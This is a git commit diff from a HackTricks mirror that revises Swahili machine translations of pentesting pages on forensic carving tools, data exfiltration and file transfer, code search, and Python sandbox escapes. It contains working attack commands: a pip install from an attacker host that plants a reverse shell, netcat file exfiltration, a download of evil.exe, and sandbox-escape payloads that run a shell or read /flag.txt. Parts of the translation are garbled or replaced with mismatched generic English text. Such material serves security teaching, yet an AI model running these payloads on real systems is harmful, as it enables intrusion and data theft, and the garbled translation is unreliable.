mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
Translated ['forensics/basic-forensic-methodology/partitions-file-system
This commit is contained in:
parent
db0d50b652
commit
bb43055b91
47 changed files with 1708 additions and 1666 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -10,13 +10,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -28,13 +28,13 @@ Zana zaidi kwenye [https://github.com/Claudio-C/awesome-datarecovery](https://gi
|
|||
|
||||
### Autopsy
|
||||
|
||||
Zana ya kawaida sana kutumika katika uchunguzi wa kiforensiki kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida.
|
||||
Zana ya kawaida sana kutumika katika uchunguzi wa kielelezo ili kutoa faili kutoka kwa picha ni [**Autopsy**](https://www.autopsy.com/download/). Pakua, isakinishe na ifanye iingize faili ili kupata faili "zilizofichwa". Kumbuka kwamba Autopsy imejengwa kusaidia picha za diski na aina zingine za picha, lakini sio faili za kawaida.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** ni zana ya kuchambua faili za binary ili kupata yaliyomo yaliyofichwa. Inaweza kusakinishwa kupitia `apt` na chanzo chake kiko kwenye [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Amri muhimu**:
|
||||
**Amri za Kufaa**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya maoni kwao. Ikiwa hutotoa alama ya maoni kwa kitu chochote, foremost itatafuta aina zake za faili zilizosanidiwa kwa msingi.
|
||||
Chombo kingine cha kawaida cha kutafuta faili zilizofichwa ni **foremost**. Unaweza kupata faili ya usanidi wa foremost katika `/etc/foremost.conf`. Ikiwa unataka tu kutafuta baadhi ya faili maalum, toa alama ya mstari kwa faili hizo. Ikiwa hutotoa alama yoyote, foremost itatafuta aina zake za faili zilizosanidiwa kwa msingi.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -51,16 +51,16 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** ni chombo kingine kinachoweza kutumika kutafuta na kutoa **faili zilizojumuishwa katika faili**. Katika kesi hii, utahitaji kufuta maoni kutoka kwenye faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka izitoa.
|
||||
**Scalpel** ni chombo kingine kinachoweza kutumika kutafuta na kutoa **faili zilizojumuishwa katika faili**. Katika kesi hii, utahitaji kufuta maoni kutoka kwenye faili ya usanidi (_/etc/scalpel/scalpel.conf_) aina za faili unazotaka izichimbue.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Herramienta hii iko ndani ya kali lakini unaweza kuipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
Chombo hiki kinapatikana ndani ya kali lakini unaweza kukipata hapa: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Herramienta hii inaweza kutafuta picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, barua pepe)** na **faili zaidi**. Unachohitaji kufanya ni:
|
||||
Chombo hiki kinaweza kutafuta picha na **kutoa pcaps** ndani yake, **taarifa za mtandao (URLs, domains, IPs, MACs, barua pepe)** na **faili zaidi**. Unachohitaji kufanya ni:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
@ -82,10 +82,10 @@ Angalia [mimba](https://code.google.com/archive/p/binvis/) na [zana ya ukurasa w
|
|||
* Grafu nyingi kwa pointi tofauti za kuzingatia
|
||||
* Kuzingatia sehemu za sampuli
|
||||
* **Kuona maneno na rasilimali**, katika utekelezaji wa PE au ELF kwa mfano
|
||||
* Kupata **mifumo** kwa cryptanalysis kwenye faili
|
||||
* **Kugundua** packer au algorithms za encoder
|
||||
* **Kutambua** Steganography kwa mifumo
|
||||
* **Visual** binary-diffing
|
||||
* Kupata **mifano** kwa cryptanalysis kwenye faili
|
||||
* **Kugundua** pakiti au algorithm za encoder
|
||||
* **Kutambua** Steganography kwa mifano
|
||||
* **Mwangaza** wa tofauti za binary
|
||||
|
||||
BinVis ni **mahali pazuri pa kuanzia ili kuzoea lengo lisilojulikana** katika hali ya black-boxing.
|
||||
|
||||
|
@ -97,14 +97,14 @@ Inatafuta funguo za AES kwa kutafuta ratiba zao za funguo. Inaweza kupata funguo
|
|||
|
||||
Pakua [hapa](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Zana Zingine za Kufanana
|
||||
## Zana Zingine za Kuboresha
|
||||
|
||||
Unaweza kutumia [**viu** ](https://github.com/atanunq/viu)kuona picha kutoka kwenye terminal.\
|
||||
Unaweza kutumia zana ya mstari wa amri ya linux **pdftotext** kubadilisha pdf kuwa maandishi na kusoma.
|
||||
|
||||
**Jaribu Kikundi cha Usalama cha Kujitahidi**
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -8,15 +8,15 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -185,25 +185,25 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
### Exfiltration Techniques on Windows
|
||||
# Windows
|
||||
|
||||
#### Introduction
|
||||
When exfiltrating data from a Windows environment, there are several techniques that can be employed to achieve this goal. It is important to understand these methods in order to better protect against potential data breaches.
|
||||
## Exfiltration Techniques
|
||||
|
||||
#### Common Exfiltration Techniques
|
||||
1. **Compression**: Compressing data before exfiltration can help reduce the size of the files being transferred, making it harder to detect.
|
||||
2. **Encryption**: Encrypting the exfiltrated data can help prevent unauthorized access to the information.
|
||||
3. **Steganography**: Hiding data within other files or images can be a covert way to exfiltrate information without detection.
|
||||
4. **DNS Tunneling**: Using DNS requests to tunnel data out of a network can bypass traditional security measures.
|
||||
5. **Exfiltration Over Alternative Protocols**: Utilizing protocols other than HTTP or HTTPS can help evade detection.
|
||||
### Exfiltration Over Command and Control Channel
|
||||
|
||||
#### Tools and Resources
|
||||
- **PowerShell**: A powerful scripting language built into Windows that can be used for data exfiltration.
|
||||
- **Netcat**: A versatile networking utility that can be used for transferring data between systems.
|
||||
- **Covenant**: A .NET command and control framework that can be used for exfiltration purposes.
|
||||
- **Empire**: Another post-exploitation framework that can aid in data exfiltration.
|
||||
The attacker can exfiltrate data by sending commands to the compromised system to upload the desired files to an external server controlled by the attacker.
|
||||
|
||||
By familiarizing yourself with these exfiltration techniques and tools, you can better prepare yourself to defend against potential data exfiltration attempts in a Windows environment.
|
||||
### Exfiltration Over Alternative Protocol
|
||||
|
||||
The attacker can use alternative protocols such as DNS, ICMP, or HTTPS to exfiltrate data from the target network without being detected easily.
|
||||
|
||||
### Exfiltration Over Encrypted Channels
|
||||
|
||||
By using encryption techniques, the attacker can exfiltrate data over encrypted channels such as SSL/TLS to avoid detection by security monitoring tools.
|
||||
|
||||
### Exfiltration Over Unmonitored Ports
|
||||
|
||||
Attackers can exfiltrate data over ports that are not actively monitored by security tools, making it harder to detect the unauthorized data transfer.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
@ -227,11 +227,20 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
|
|||
```
|
||||
## NC
|
||||
|
||||
### Swahili Translation
|
||||
### Data Exfiltration
|
||||
|
||||
## NC
|
||||
Data exfiltration is the unauthorized transfer of data from a computer. This can be achieved using various techniques, such as:
|
||||
|
||||
### Tafsiri ya Kiswahili
|
||||
- **Email**: Sending sensitive data as email attachments.
|
||||
- **FTP**: Transferring data using File Transfer Protocol.
|
||||
- **DNS**: Sending data through DNS queries.
|
||||
- **HTTP/HTTPS**: Using web protocols to exfiltrate data.
|
||||
- **Steganography**: Hiding data within other files to avoid detection.
|
||||
- **USB Drives**: Physically removing data using USB drives.
|
||||
- **Printers**: Printing out sensitive information.
|
||||
- **Cloud Storage**: Uploading data to cloud storage services.
|
||||
|
||||
Hackers use these methods to steal data from organizations, making data exfiltration a significant concern for cybersecurity.
|
||||
```bash
|
||||
nc -lvnp 4444 > new_file
|
||||
nc -vn <IP> 4444 < exfil_file
|
||||
|
@ -272,7 +281,7 @@ sniff(iface="tun0", prn=process_packet)
|
|||
```
|
||||
## **SMTP**
|
||||
|
||||
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP kupokea data hiyo kwa kutumia python:
|
||||
Ikiwa unaweza kutuma data kwa seva ya SMTP, unaweza kuunda SMTP ya kupokea data kwa kutumia python:
|
||||
```bash
|
||||
sudo python -m smtpd -n -c DebuggingServer :25
|
||||
```
|
||||
|
@ -280,14 +289,14 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
|||
|
||||
Kwa chaguo-msingi katika XP na 2003 (katika nyingine inahitaji kuongezwa wazi wakati wa usakinishaji)
|
||||
|
||||
Katika Kali, **anzisha seva ya TFTP**:
|
||||
Katika Kali, **anzisha server ya TFTP**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
atftpd --daemon --port 69 /tftp
|
||||
cp /path/tp/nc.exe /tftp
|
||||
```
|
||||
**Server ya TFTP kwa kutumia python:**
|
||||
**Server ya TFTP kwa python:**
|
||||
```bash
|
||||
pip install ptftpd
|
||||
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
|
||||
|
@ -342,13 +351,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Walakini, ni muhimu kuzingatia kwamba debug.exe ina **kizuizi cha kuunda faili hadi 64 kb in size**.
|
||||
Programu ya `debug.exe` sio tu inaruhusu ukaguzi wa binaries lakini pia ina **uwezo wa kujenga upya kutoka hex**. Hii inamaanisha kwamba kwa kutoa hex ya binary, `debug.exe` inaweza kuzalisha faili ya binary. Hata hivyo, ni muhimu kufahamu kwamba debug.exe ina **kizuizi cha kuunda faili zenye ukubwa wa hadi 64 kb**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili iliyoitwa nc.exe itaundwa.
|
||||
Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili inayoitwa nc.exe itaundwa.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -356,9 +365,9 @@ Kisha nakili na ushirikishe maudhui kwenye windows-shell na faili iliyoitwa nc.e
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -372,6 +381,6 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,11 +24,11 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
Lengo la ukurasa huu ni kuhesabu **majukwaa yanayoruhusu kutafuta msimbo** (halisi au regex) katika maelfu/mamilioni ya repos kwenye majukwaa moja au zaidi.
|
||||
|
||||
Hii husaidia katika matukio kadhaa ya **kutafuta taarifa zilizovuja** au mifano ya **mapungufu ya usalama**.
|
||||
Hii husaidia katika matukio kadhaa ya **kutafuta taarifa zilizovuja** au kwa mifano ya **mapengo**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Tafuta katika mamilioni ya repos. Kuna toleo la bure na toleo la biashara (na siku 15 za bure). Inasaidia regexes.
|
||||
* [**Github Search**](https://github.com/search): Tafuta kote Github. Inasaidia regexes.
|
||||
* Labda ni muhimu pia kuangalia [**Github Code Search**](https://cs.github.com/).
|
||||
* Labda pia ni muhimu kuangalia [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Tafuta katika miradi ya Gitlab. Inasaidia regexes.
|
||||
* [**SearchCode**](https://searchcode.com/): Tafuta msimbo katika miradi mamilioni.
|
||||
|
||||
|
@ -38,13 +38,13 @@ Unapotafuta uvujaji katika repo na kuendesha kitu kama `git log -p` usisahau kwa
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
|
@ -16,17 +16,17 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Hizi ni baadhi ya mbinu za kudukua mifumo ya kujilinda ya Python na kutekeleza amri za kiholela.
|
||||
Hizi ni baadhi ya mbinu za kudukua ulinzi wa mchanga wa Python na kutekeleza amri za kiholela.
|
||||
|
||||
## Maktaba za Kutekeleza Amri
|
||||
|
||||
Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyosha kwenye programu, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi:
|
||||
Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyoshaimbuliwa tayari, au ikiwa unaweza kuingiza mojawapo ya maktaba hizi:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -65,7 +65,7 @@ Kumbuka kwamba _**open**_ na _**read**_ functions zinaweza kuwa na manufaa kusom
|
|||
**Python2 input()** function inaruhusu kutekeleza namna ya python kabla ya programu kushindwa.
|
||||
{% endhint %}
|
||||
|
||||
Python jaribu **kupakia maktaba kutoka kwenye saraka ya sasa kwanza** (amri ifuatayo itachapisha mahali ambapo python inapakia moduli kutoka): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python jaribu **kupakia maktaba kutoka kwenye saraka ya sasa kwanza** (amri ifuatayo itachapisha mahali ambapo python inapakia moduli): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
![](<../../../.gitbook/assets/image (552).png>)
|
||||
|
||||
|
@ -74,7 +74,7 @@ Python jaribu **kupakia maktaba kutoka kwenye saraka ya sasa kwanza** (amri ifua
|
|||
### Pakiti za chaguo-msingi
|
||||
|
||||
Unaweza kupata **orodha ya pakiti zilizosakinishwa mapema** hapa: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Tambua kwamba kutoka kwa pickle unaweza kufanya mazingira ya python **kupakia maktaba za aina yoyote** zilizosakinishwa kwenye mfumo.\
|
||||
Tambua kwamba kutoka kwenye pickle unaweza kufanya mazingira ya python **kupakia maktaba za aina yoyote** zilizosakinishwa kwenye mfumo.\
|
||||
Kwa mfano, pickle ifuatayo, ikipakia, itapakia maktaba ya pip kuitumia:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
|
@ -99,7 +99,7 @@ Ikiwa una ufikiaji wa `pip` au `pip.main()` unaweza kusakinisha pakiti isiyojuli
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Unaweza kupakua pakiti ya kuunda reverse shell hapa. Tafadhali, kumbuka kwamba kabla ya kutumia ni lazima **ukuze** pakiti hiyo, **badilisha `setup.py`, na weka anwani yako ya IP kwa ajili ya reverse shell**:
|
||||
Unaweza kupakua pakiti ya kuunda reverse shell hapa. Tafadhali, kumbuka kwamba kabla ya kutumia ni lazima **ukuze** pakiti hiyo, **badilishe `setup.py`, na weka anwani yako ya IP kwa ajili ya reverse shell**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
||||
|
@ -110,7 +110,7 @@ Pakiti hii inaitwa `Reverse`. Hata hivyo, ilibuniwa kwa makusudi ili wakati unap
|
|||
## Eval-ing python code
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia walrus operator)
|
||||
Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia operator wa walrus)
|
||||
{% endhint %}
|
||||
|
||||
Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia **uwakilishi wa hex/octal/B64** kwa ajili ya **kupitisha** kizuizi:
|
||||
|
@ -159,7 +159,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Kupitisha ulinzi kupitia uandishi wa herufi (UTF-7)
|
||||
|
||||
Katika [**makala hii**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 inatumika kusoma na kutekeleza nambari za Python za kupindukia ndani ya sanduku inayoonekana:
|
||||
Katika [**makala hii**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 inatumika kusoma na kutekeleza nambari za python za kiholela ndani ya sanduku la kuonekana:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -170,11 +170,11 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Pia niwezekana kuihepa kwa kutumia taratibu nyingine za uendeshaji, k.m. `raw_unicode_escape` na `unicode_escape`.
|
||||
Pia niwezekana kuidhinisha kutumia namna zingine za kuipuuza, k.m. `raw_unicode_escape` na `unicode_escape`.
|
||||
|
||||
## Uendeshaji wa Python bila simu
|
||||
## Utekelezaji wa Python bila simu
|
||||
|
||||
Ikiwa uko ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **kutekeleza kazi za kupindukia, nambari** na **maagizo**.
|
||||
Ikiwa uko ndani ya gereza la python ambalo **halikuruhusu kufanya simu**, bado kuna njia za **utekelezaji wa kazi za kiholela, namna** na **maagizo**.
|
||||
|
||||
### RCE na [mapambo](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
|
@ -202,9 +202,9 @@ class _:pass
|
|||
|
||||
Ikiwa unaweza **kutangaza darasa** na **kuunda kipengee** cha darasa hilo unaweza **kuandika/kuzidisha njia tofauti** ambazo zinaweza **kuzinduliwa** **bila** **kulazimika kuziita moja kwa moja**.
|
||||
|
||||
#### RCE na madarasa ya desturi
|
||||
#### RCE na darasa za desturi
|
||||
|
||||
Unaweza kurekebisha baadhi ya **njia za darasa** (_kwa kuzidisha njia za darasa zilizopo au kuunda darasa jipya_) ili kufanya zitekeleze **mimba ya nambari** wakati zinapozinduliwa bila kuziita moja kwa moja.
|
||||
Unaweza kurekebisha baadhi ya **njia za darasa** (_kwa kuzidisha njia za darasa zilizopo au kuunda darasa jipya_) ili kufanya zitekeleze **michocheo ya nambari** wakati zinapozinduliwa bila kuziita moja kwa moja.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -256,7 +256,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
|||
```
|
||||
#### Kuunda vitu na [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Jambo muhimu linaloturuhusu kufanya ni **kuunda kipengele cha darasa, bila kuita konstrukta** moja kwa moja, kwa kuunda darasa jipya na darasa lengwa kama metaclass.
|
||||
